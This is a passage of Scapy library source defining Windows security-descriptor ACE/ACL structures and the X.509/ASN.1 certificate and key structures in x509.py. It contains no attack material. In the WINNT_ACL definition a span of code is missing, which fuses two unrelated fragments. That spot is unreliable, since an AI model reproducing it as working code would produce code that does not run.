Octet string 0xf8, 0xf9, 0xfa, 0xfb, # Attribute tokens 0x50, # Composite ] ), ConditionalField( MultipleTypeField( [ ( LELongField("value", 0), lambda pkt: pkt.TokenType in [ 0x01, # signed int8 0x02, # signed int16 0x03, # signed int32 0x04, # signed int64 ] ), ( StrLenFieldUtf16("value", b"", length_from=lambda pkt: pkt.length), lambda pkt: pkt.TokenType in [ 0x10, # Unicode string 0xf8, 0xf9, 0xfa, 0xfb, # Attribute tokens ] ), ( StrLenField("value", b"", length_from=lambda pkt: pkt.length), lambda pkt: pkt.TokenType == 0x18, # Octet string ), ( PacketListField("value", [], WINNT_APPLICATION_DATA_LITERAL_TOKEN, length_from=lambda pkt: pkt.length), lambda pkt: pkt.TokenType == 0x50, # Composite ), ], StrFixedLenField("value", b"", length=0), ), lambda pkt: pkt.TokenType in [ 0x01, 0x02, 0x03, 0x04, 0x10, 0x18, 0xf8, 0xf9, 0xfa, 0xfb, 0x50 ] ), ConditionalField( # Literal ByteEnumField("sign", 0, { 0x01: "+", 0x02: "-", 0x03: "None", }), lambda pkt: pkt.TokenType in [ 0x01, # signed int8 0x02, # signed int16 0x03, # signed int32 0x04, # signed int64 ] ), ConditionalField( # Literal ByteEnumField("base", 0, { 0x01: "Octal", 0x02: "Decimal", 0x03: "Hexadecimal", }), lambda pkt: pkt.TokenType in [ 0x01, # signed int8 0x02, # signed int16 0x03, # signed int32 0x04, # signed int64 ] ), ] # fmt: on class WINNT_APPLICATION_DATA(Packet): fields_desc = [ StrFixedLenField("Magic", b"\x61\x72\x74\x78", length=4), PacketListField( "Tokens", [], WINNT_APPLICATION_DATA_LITERAL_TOKEN, ), ] def default_payload_class(self, payload): return conf.padding_layer # [MS-DTYP] sect 2.4.4.6 class WINNT_ACCESS_ALLOWED_CALLBACK_ACE(Packet): fields_desc = WINNT_ACCESS_ALLOWED_ACE.fields_desc + [ PacketField( "ApplicationData", WINNT_APPLICATION_DATA(), WINNT_APPLICATION_DATA ), ] bind_layers(WINNT_ACE_HEADER, WINNT_ACCESS_ALLOWED_CALLBACK_ACE, AceType=0x09) # [MS-DTYP] sect 2.4.4.7 class WINNT_ACCESS_DENIED_CALLBACK_ACE(Packet): fields_desc = WINNT_ACCESS_ALLOWED_CALLBACK_ACE.fields_desc bind_layers(WINNT_ACE_HEADER, WINNT_ACCESS_DENIED_CALLBACK_ACE, AceType=0x0A) # [MS-DTYP] sect 2.4.4.8 class WINNT_ACCESS_ALLOWED_CALLBACK_OBJECT_ACE(Packet): fields_desc = WINNT_ACCESS_ALLOWED_OBJECT_ACE.fields_desc + [ PacketField( "ApplicationData", WINNT_APPLICATION_DATA(), WINNT_APPLICATION_DATA ), ] bind_layers(WINNT_ACE_HEADER, WINNT_ACCESS_ALLOWED_CALLBACK_OBJECT_ACE, AceType=0x0B) # [MS-DTYP] sect 2.4.4.9 class WINNT_ACCESS_DENIED_CALLBACK_OBJECT_ACE(Packet): fields_desc = WINNT_ACCESS_DENIED_OBJECT_ACE.fields_desc + [ PacketField( "ApplicationData", WINNT_APPLICATION_DATA(), WINNT_APPLICATION_DATA ), ] bind_layers(WINNT_ACE_HEADER, WINNT_ACCESS_DENIED_CALLBACK_OBJECT_ACE, AceType=0x0C) # [MS-DTYP] sect 2.4.4.10 class WINNT_SYSTEM_AUDIT_ACE(Packet): fields_desc = WINNT_ACCESS_ALLOWED_ACE.fields_desc bind_layers(WINNT_ACE_HEADER, WINNT_SYSTEM_AUDIT_ACE, AceType=0x02) # [MS-DTYP] sect 2.4.4.11 class WINNT_SYSTEM_AUDIT_OBJECT_ACE(Packet): # doc is wrong. fields_desc = WINNT_ACCESS_ALLOWED_OBJECT_ACE.fields_desc bind_layers(WINNT_ACE_HEADER, WINNT_SYSTEM_AUDIT_OBJECT_ACE, AceType=0x07) # [MS-DTYP] sect 2.4.4.12 class WINNT_SYSTEM_AUDIT_CALLBACK_ACE(Packet): fields_desc = WINNT_SYSTEM_AUDIT_ACE.fields_desc + [ PacketField( "ApplicationData", WINNT_APPLICATION_DATA(), WINNT_APPLICATION_DATA ), ] bind_layers(WINNT_ACE_HEADER, WINNT_SYSTEM_AUDIT_CALLBACK_ACE, AceType=0x0D) # [MS-DTYP] sect 2.4.4.13 class WINNT_SYSTEM_MANDATORY_LABEL_ACE(Packet): fields_desc = WINNT_SYSTEM_AUDIT_ACE.fields_desc bind_layers(WINNT_ACE_HEADER, WINNT_SYSTEM_MANDATORY_LABEL_ACE, AceType=0x11) # [MS-DTYP] sect 2.4.4.14 class WINNT_SYSTEM_AUDIT_CALLBACK_OBJECT_ACE(Packet): fields_desc = WINNT_SYSTEM_AUDIT_OBJECT_ACE.fields_desc bind_layers(WINNT_ACE_HEADER, WINNT_SYSTEM_AUDIT_CALLBACK_OBJECT_ACE, AceType=0x0F) # [MS-DTYP] sect 2.4.10.1 class CLAIM_SECURITY_ATTRIBUTE_RELATIVE_V1(_NTLMPayloadPacket): _NTLM_PAYLOAD_FIELD_NAME = "Data" fields_desc = [ LEIntField("NameOffset", 0), LEShortEnumField( "ValueType", 0, { 0x0001: "CLAIM_SECURITY_ATTRIBUTE_TYPE_INT64", 0x0002: "CLAIM_SECURITY_ATTRIBUTE_TYPE_UINT64", 0x0003: "CLAIM_SECURITY_ATTRIBUTE_TYPE_STRING", 0x0005: "CLAIM_SECURITY_ATTRIBUTE_TYPE_SID", 0x0006: "CLAIM_SECURITY_ATTRIBUTE_TYPE_BOOLEAN", 0x0010: "CLAIM_SECURITY_ATTRIBUTE_TYPE_OCTET_STRING", }, ), LEShortField("Reserved", 0), FlagsField( "Flags", 0, -32, { 0x0001: "CLAIM_SECURITY_ATTRIBUTE_NON_INHERITABLE", 0x0002: "CLAIM_SECURITY_ATTRIBUTE_VALUE_CASE_SENSITIVE", 0x0004: "CLAIM_SECURITY_ATTRIBUTE_USE_FOR_DENY_ONLY", 0x0008: "CLAIM_SECURITY_ATTRIBUTE_DISABLED_BY_DEFAULT", 0x0010: "CLAIM_SECURITY_ATTRIBUTE_DISABLED", 0x0020: "CLAIM_SECURITY_ATTRIBUTE_MANDATORY", }, ), LEIntField("ValueCount", 0), FieldListField( "ValueOffsets", [], LEIntField("", 0), count_from=lambda pkt: pkt.ValueCount ), _NTLMPayloadField( "Data", lambda pkt: 16 + pkt.ValueCount * 4, [ ConditionalField( StrFieldUtf16("Name", b""), lambda pkt: pkt.NameOffset, ), # TODO: Values ], offset_name="Offset", ), ] # [MS-DTYP] sect 2.4.4.15 class WINNT_SYSTEM_RESOURCE_ATTRIBUTE_ACE(Packet): fields_desc = WINNT_ACCESS_ALLOWED_ACE.fields_desc + [ PacketField( "AttributeData", CLAIM_SECURITY_ATTRIBUTE_RELATIVE_V1(), CLAIM_SECURITY_ATTRIBUTE_RELATIVE_V1, ) ] bind_layers(WINNT_ACE_HEADER, WINNT_SYSTEM_RESOURCE_ATTRIBUTE_ACE, AceType=0x12) # [MS-DTYP] sect 2.4.4.16 class WINNT_SYSTEM_SCOPED_POLICY_ID_ACE(Packet): fields_desc = WINNT_ACCESS_ALLOWED_ACE.fields_desc bind_layers(WINNT_ACE_HEADER, WINNT_SYSTEM_SCOPED_POLICY_ID_ACE, AceType=0x13) # [MS-DTYP] sect 2.4.5 class WINNT_ACL(Packet): fields_desc = [ ByteField("AclRevision", 2), ByteField("Sbz1", 0x00), # Total size including header: # AclRevision(1) + Sbz1(1) + AclSize(2) + AceCount(2) + Sbz2(2) FieldLenField( "AclSize", None, length_of="Aces", adjust=lambda _, x: x + 8, fmt=" bytes return ( _NTLM_post_build( self, pkt, self.OFFSET, { "OwnerSid": 4, "GroupSid": 8, "SACL": 12, "DACL": 16, }, config=[ ("Offset", _NTLM_ENUM.OFFSET), ], ) + pay ) def show_print(self): """ Print the SECURITY_DESCRIPTOR in a human format """ print("Owner:", self.OwnerSid.summary()) print("Group:", self.GroupSid.summary()) if getattr(self, "DACL", None): print("DACL:") for ace in self.DACL.Aces: print(" - ", ace.toSDDL()) if getattr(self, "SACL", None): print("SACL:") for ace in self.SACL.Aces: print(" - ", ace.toSDDL()) ================================================ FILE: scapy/layers/x509.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi # Acknowledgment: Arnaud Ebalard & Maxence Tury # Cool history about this file: http://natisbad.org/scapy/index.html """ X.509 certificates, OCSP, CRL, CMS and other crypto-related ASN.1 structures """ from scapy.asn1.ber import BER_Decoding_Error from scapy.asn1.mib import conf # loads conf.mib from scapy.asn1.asn1 import ( ASN1_Codecs, ASN1_IA5_STRING, ASN1_OID, ASN1_PRINTABLE_STRING, ASN1_UTC_TIME, ASN1_UTF8_STRING, ) from scapy.asn1packet import ASN1_Packet from scapy.asn1fields import ( ASN1F_BIT_STRING_ENCAPS, ASN1F_BIT_STRING, ASN1F_BMP_STRING, ASN1F_BOOLEAN, ASN1F_CHOICE, ASN1F_enum_INTEGER, ASN1F_ENUMERATED, ASN1F_field, ASN1F_FLAGS, ASN1F_GENERALIZED_TIME, ASN1F_IA5_STRING, ASN1F_INTEGER, ASN1F_ISO646_STRING, ASN1F_NULL, ASN1F_OID, ASN1F_omit, ASN1F_optional, ASN1F_PACKET, ASN1F_PRINTABLE_STRING, ASN1F_SEQUENCE_OF, ASN1F_SEQUENCE, ASN1F_SET_OF, ASN1F_STRING_ENCAPS, ASN1F_STRING_PacketField, ASN1F_STRING, ASN1F_T61_STRING, ASN1F_UNIVERSAL_STRING, ASN1F_UTC_TIME, ASN1F_UTF8_STRING, ) from scapy.packet import Packet from scapy.fields import ( MultipleTypeField, PacketField, ) from scapy.volatile import ZuluTime, GeneralizedTime from scapy.compat import plain_str from scapy.layers.tpm import KeyAttestationStatement class ASN1P_OID(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_OID("oid", "0") class ASN1P_INTEGER(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_INTEGER("number", 0) class ASN1P_PRIVSEQ(ASN1_Packet): # This class gets used in x509.uts # It showcases the private high-tag decoding capacities of scapy. ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_IA5_STRING("str", ""), ASN1F_STRING("int", 0), explicit_tag=0, flexible_tag=True) ####################### # RSA packets # ####################### # based on RFC 3447 # It could be interesting to use os.urandom and try to generate # a new modulus each time RSAPublicKey is called with default values. # (We might have to dig into scapy field initialization mechanisms...) # NEVER rely on the key below, which is provided only for debugging purposes. class RSAPublicKey(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("modulus", 10), ASN1F_INTEGER("publicExponent", 3)) class RSAOtherPrimeInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("prime", 0), ASN1F_INTEGER("exponent", 0), ASN1F_INTEGER("coefficient", 0)) class RSAPrivateKey(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("version", 0, ["two-prime", "multi"]), ASN1F_INTEGER("modulus", 10), ASN1F_INTEGER("publicExponent", 3), ASN1F_INTEGER("privateExponent", 3), ASN1F_INTEGER("prime1", 2), ASN1F_INTEGER("prime2", 5), ASN1F_INTEGER("exponent1", 0), ASN1F_INTEGER("exponent2", 3), ASN1F_INTEGER("coefficient", 1), ASN1F_optional( ASN1F_SEQUENCE_OF("otherPrimeInfos", None, RSAOtherPrimeInfo))) #################################### # Diffie Hellman Packets # #################################### # From X9.42 (or RFC3279) class ValidationParms(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_BIT_STRING("seed", ""), ASN1F_INTEGER("pgenCounter", 0), ) class DomainParameters(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("p", 0), ASN1F_INTEGER("g", 0), ASN1F_INTEGER("q", 0), ASN1F_optional(ASN1F_INTEGER("j", 0)), ASN1F_optional( ASN1F_PACKET("validationParms", None, ValidationParms), ), ) class DHPublicKey(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_INTEGER("y", 0) #################################### # ECDSA packets # #################################### # based on RFC 3279 & 5480 & 5915 class ECFieldID(ASN1_Packet): # No characteristic-two-field support for now. ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("fieldType", "prime-field"), ASN1F_INTEGER("prime", 0)) class ECCurve(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_STRING("a", ""), ASN1F_STRING("b", ""), ASN1F_optional( ASN1F_BIT_STRING("seed", None))) class ECSpecifiedDomain(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("version", 1, {1: "ecpVer1"}), ASN1F_PACKET("fieldID", ECFieldID(), ECFieldID), ASN1F_PACKET("curve", ECCurve(), ECCurve), ASN1F_STRING("base", ""), ASN1F_INTEGER("order", 0), ASN1F_optional( ASN1F_INTEGER("cofactor", None))) class ECParameters(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE("curve", ASN1_OID("ansip384r1"), ASN1F_OID, # for named curves ASN1F_NULL, # for implicit curves ECSpecifiedDomain) class ECDSAPublicKey(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_BIT_STRING("ecPoint", "") class ECDSAPrivateKey(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("version", 1, {1: "ecPrivkeyVer1"}), ASN1F_STRING("privateKey", ""), ASN1F_optional( ASN1F_PACKET("parameters", None, ECParameters, explicit_tag=0xa0)), ASN1F_optional( ASN1F_PACKET("publicKey", None, ECDSAPublicKey, explicit_tag=0xa1))) class ECDSASignature(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("r", 0), ASN1F_INTEGER("s", 0)) #################################### # Diffie Hellman Exchange Packets # #################################### # based on PKCS#3 # PKCS#3 sect 9 class DHParameter(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("p", 0), ASN1F_INTEGER("g", 0), ASN1F_optional( ASN1F_INTEGER("l", 0) # aka. 'privateValueLength' ), ) #################################### # x25519/x448 packets # #################################### # based on RFC 8410 class EdDSAPublicKey(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_BIT_STRING("ecPoint", "") class AlgorithmIdentifier(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("algorithm", None), ) class EdDSAPrivateKey(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("version", 1, {1: "ecPrivkeyVer1"}), ASN1F_PACKET("privateKeyAlgorithm", AlgorithmIdentifier(), AlgorithmIdentifier), ASN1F_STRING("privateKey", ""), ASN1F_optional( ASN1F_PACKET("publicKey", None, ECDSAPublicKey, explicit_tag=0xa1))) ###################### # X509 packets # ###################### # based on RFC 5280 # Names # class ASN1F_X509_DirectoryString(ASN1F_CHOICE): # we include ASN1 bit strings and bmp strings for rare instances of x500 addresses def __init__(self, name, default, **kwargs): ASN1F_CHOICE.__init__(self, name, default, ASN1F_PRINTABLE_STRING, ASN1F_UTF8_STRING, ASN1F_IA5_STRING, ASN1F_T61_STRING, ASN1F_UNIVERSAL_STRING, ASN1F_BIT_STRING, ASN1F_BMP_STRING, **kwargs) # More details on attributes in PKCS#9 _X509_ATTRIBUTE_TYPE = {} class _AttributeValue_Field(ASN1F_field): def m2i(self, pkt, s): # Some types have special structures if pkt.underlayer: attrType = pkt.underlayer.type.val if attrType in _X509_ATTRIBUTE_TYPE: return self.extract_packet( _X509_ATTRIBUTE_TYPE[attrType], s, _underlayer=pkt, ) try: return super(_AttributeValue_Field, self).m2i(pkt, s) except BER_Decoding_Error: # Do not fail on special attributes return s, b"" def i2m(self, pkt, x): # The special structures should be just bytes() if pkt.underlayer and pkt.underlayer.type.val in _X509_ATTRIBUTE_TYPE: return bytes(x) return super(_AttributeValue_Field, self).i2m(pkt, x) class X509_AttributeValue(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = _AttributeValue_Field("value", ASN1_PRINTABLE_STRING("FR")) class X509_Attribute(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("type", "2.5.4.6"), ASN1F_SET_OF("values", [X509_AttributeValue()], X509_AttributeValue)) class X509_AttributeTypeAndValue(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("type", "2.5.4.6"), ASN1F_X509_DirectoryString("value", ASN1_PRINTABLE_STRING("FR"))) class X509_RDN(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SET_OF("rdn", [X509_AttributeTypeAndValue()], X509_AttributeTypeAndValue) class X509_OtherName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("type_id", "0"), ASN1F_CHOICE("value", None, ASN1F_IA5_STRING, ASN1F_ISO646_STRING, ASN1F_BMP_STRING, ASN1F_UTF8_STRING, ASN1F_STRING, explicit_tag=0xa0)) class ASN1F_X509_otherName(ASN1F_SEQUENCE): # field version of X509_OtherName, for usage in [MS-WCCE] def __init__(self, **kargs): seq = [ASN1F_SEQUENCE(*X509_OtherName.ASN1_root.seq, implicit_tag=0xA0)] ASN1F_SEQUENCE.__init__(self, *seq, **kargs) class X509_RFC822Name(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_IA5_STRING("rfc822Name", "") class X509_DNSName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_IA5_STRING("dNSName", "") # XXX write me class X509_X400Address(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_field("x400Address", "") _default_directoryName = [ X509_RDN(), X509_RDN( rdn=[X509_AttributeTypeAndValue( type=ASN1_OID("2.5.4.10"), value=ASN1_PRINTABLE_STRING("Scapy, Inc."))]), X509_RDN( rdn=[X509_AttributeTypeAndValue( type=ASN1_OID("2.5.4.3"), value=ASN1_PRINTABLE_STRING("Scapy Default Name"))]) ] class X509_DirectoryName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("directoryName", _default_directoryName, X509_RDN) class X509_EDIPartyName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_X509_DirectoryString("nameAssigner", None, explicit_tag=0xa0)), ASN1F_X509_DirectoryString("partyName", None, explicit_tag=0xa1)) class X509_URI(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_IA5_STRING("uniformResourceIdentifier", "") class X509_IPAddress(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_STRING("iPAddress", "") class X509_RegisteredID(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_OID("registeredID", "") class X509_GeneralName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE("generalName", X509_DirectoryName(), ASN1F_PACKET("otherName", None, X509_OtherName, implicit_tag=0xa0), ASN1F_PACKET("rfc822Name", None, X509_RFC822Name, implicit_tag=0x81), ASN1F_PACKET("dNSName", None, X509_DNSName, implicit_tag=0x82), ASN1F_PACKET("x400Address", None, X509_X400Address, # noqa: E501 explicit_tag=0xa3), ASN1F_PACKET("directoryName", None, X509_DirectoryName, # noqa: E501 explicit_tag=0xa4), ASN1F_PACKET("ediPartyName", None, X509_EDIPartyName, # noqa: E501 explicit_tag=0xa5), ASN1F_PACKET("uniformResourceIdentifier", None, X509_URI, # noqa: E501 implicit_tag=0x86), ASN1F_PACKET("ipAddress", None, X509_IPAddress, implicit_tag=0x87), ASN1F_PACKET("registeredID", None, X509_RegisteredID, # noqa: E501 implicit_tag=0x88)) # Extensions # class X509_ExtAuthorityKeyIdentifier(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_STRING("keyIdentifier", b"\xff" * 20, implicit_tag=0x80)), ASN1F_optional( ASN1F_SEQUENCE_OF("authorityCertIssuer", None, X509_GeneralName, implicit_tag=0xa1)), ASN1F_optional( ASN1F_INTEGER("authorityCertSerialNumber", None, implicit_tag=0x82))) class X509_ExtSubjectDirectoryAttributes(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("subjectDirectoryAttributes", [X509_Attribute()], X509_Attribute) class X509_ExtSubjectKeyIdentifier(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_STRING("keyIdentifier", "xff" * 20) class X509_ExtFullName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("fullName", [X509_GeneralName()], X509_GeneralName, implicit_tag=0xa0) class X509_ExtNameRelativeToCRLIssuer(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_PACKET("nameRelativeToCRLIssuer", X509_RDN(), X509_RDN, implicit_tag=0xa1) class X509_ExtDistributionPointName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE("distributionPointName", None, X509_ExtFullName, X509_ExtNameRelativeToCRLIssuer) _reasons_mapping = ["unused", "keyCompromise", "cACompromise", "affiliationChanged", "superseded", "cessationOfOperation", "certificateHold", "privilegeWithdrawn", "aACompromise"] class X509_ExtDistributionPoint(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_PACKET("distributionPoint", X509_ExtDistributionPointName(), X509_ExtDistributionPointName, explicit_tag=0xa0)), ASN1F_optional( ASN1F_FLAGS("reasons", None, _reasons_mapping, implicit_tag=0x81)), ASN1F_optional( ASN1F_SEQUENCE_OF("cRLIssuer", None, X509_GeneralName, implicit_tag=0xa2))) _ku_mapping = ["digitalSignature", "nonRepudiation", "keyEncipherment", "dataEncipherment", "keyAgreement", "keyCertSign", "cRLSign", "encipherOnly", "decipherOnly"] class X509_ExtKeyUsage(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_FLAGS("keyUsage", "101", _ku_mapping) def get_keyUsage(self): return self.ASN1_root.get_flags(self) class X509_ExtPrivateKeyUsagePeriod(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_GENERALIZED_TIME("notBefore", str(GeneralizedTime(-600)), implicit_tag=0x80)), ASN1F_optional( ASN1F_GENERALIZED_TIME("notAfter", str(GeneralizedTime(+86400)), implicit_tag=0x81))) class X509_PolicyMapping(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("issuerDomainPolicy", None), ASN1F_OID("subjectDomainPolicy", None)) class X509_ExtPolicyMappings(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("policyMappings", [], X509_PolicyMapping) class X509_ExtBasicConstraints(ASN1_Packet): # The cA field should not be optional, but some certs omit it for False. ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_BOOLEAN("cA", False)), ASN1F_optional( ASN1F_INTEGER("pathLenConstraint", None))) class X509_ExtCRLNumber(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_INTEGER("cRLNumber", 0) _cRL_reasons = ["unspecified", "keyCompromise", "cACompromise", "affiliationChanged", "superseded", "cessationOfOperation", "certificateHold", "unused_reasonCode", "removeFromCRL", "privilegeWithdrawn", "aACompromise"] class X509_ExtReasonCode(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_ENUMERATED("cRLReason", 0, _cRL_reasons) class X509_ExtDeltaCRLIndicator(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_INTEGER("deltaCRLIndicator", 0) class X509_ExtIssuingDistributionPoint(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_PACKET("distributionPoint", X509_ExtDistributionPointName(), X509_ExtDistributionPointName, explicit_tag=0xa0)), ASN1F_BOOLEAN("onlyContainsUserCerts", False, implicit_tag=0x81), ASN1F_BOOLEAN("onlyContainsCACerts", False, implicit_tag=0x82), ASN1F_optional( ASN1F_FLAGS("onlySomeReasons", None, _reasons_mapping, implicit_tag=0x83)), ASN1F_BOOLEAN("indirectCRL", False, implicit_tag=0x84), ASN1F_BOOLEAN("onlyContainsAttributeCerts", False, implicit_tag=0x85)) class X509_ExtCertificateIssuer(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("certificateIssuer", [], X509_GeneralName) class X509_ExtInvalidityDate(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_GENERALIZED_TIME("invalidityDate", str(ZuluTime(+86400))) class X509_ExtSubjectAltName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("subjectAltName", [], X509_GeneralName) class X509_ExtIssuerAltName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("issuerAltName", [], X509_GeneralName) class X509_ExtGeneralSubtree(ASN1_Packet): # 'minimum' is not optional in RFC 5280, yet it is in some implementations. ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_PACKET("base", X509_GeneralName(), X509_GeneralName), ASN1F_optional( ASN1F_INTEGER("minimum", None, implicit_tag=0x80)), ASN1F_optional( ASN1F_INTEGER("maximum", None, implicit_tag=0x81))) class X509_ExtNameConstraints(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_SEQUENCE_OF("permittedSubtrees", None, X509_ExtGeneralSubtree, implicit_tag=0xa0)), ASN1F_optional( ASN1F_SEQUENCE_OF("excludedSubtrees", None, X509_ExtGeneralSubtree, implicit_tag=0xa1))) class X509_ExtPolicyConstraints(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_INTEGER("requireExplicitPolicy", None, implicit_tag=0x80)), ASN1F_optional( ASN1F_INTEGER("inhibitPolicyMapping", None, implicit_tag=0x81))) class X509_ExtExtendedKeyUsage(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("extendedKeyUsage", [], ASN1P_OID) def get_extendedKeyUsage(self): eku_array = self.extendedKeyUsage return [eku.oid.oidname for eku in eku_array] class X509_ExtNoticeReference(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_CHOICE("organization", ASN1_UTF8_STRING("Dummy Organization"), ASN1F_IA5_STRING, ASN1F_ISO646_STRING, ASN1F_BMP_STRING, ASN1F_UTF8_STRING), ASN1F_SEQUENCE_OF("noticeNumbers", [], ASN1P_INTEGER)) class X509_ExtUserNotice(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_PACKET("noticeRef", None, X509_ExtNoticeReference)), ASN1F_optional( ASN1F_CHOICE("explicitText", ASN1_UTF8_STRING("Dummy ExplicitText"), ASN1F_IA5_STRING, ASN1F_ISO646_STRING, ASN1F_BMP_STRING, ASN1F_UTF8_STRING))) class X509_ExtPolicyQualifierInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("policyQualifierId", "1.3.6.1.5.5.7.2.1"), ASN1F_CHOICE("qualifier", ASN1_IA5_STRING("cps_str"), ASN1F_IA5_STRING, X509_ExtUserNotice)) class X509_ExtPolicyInformation(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("policyIdentifier", "2.5.29.32.0"), ASN1F_optional( ASN1F_SEQUENCE_OF("policyQualifiers", None, X509_ExtPolicyQualifierInfo))) class X509_ExtCertificatePolicies(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("certificatePolicies", [X509_ExtPolicyInformation()], X509_ExtPolicyInformation) class X509_ExtCRLDistributionPoints(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("cRLDistributionPoints", [X509_ExtDistributionPoint()], X509_ExtDistributionPoint) class X509_ExtInhibitAnyPolicy(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_INTEGER("skipCerts", 0) class X509_ExtFreshestCRL(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("cRLDistributionPoints", [X509_ExtDistributionPoint()], 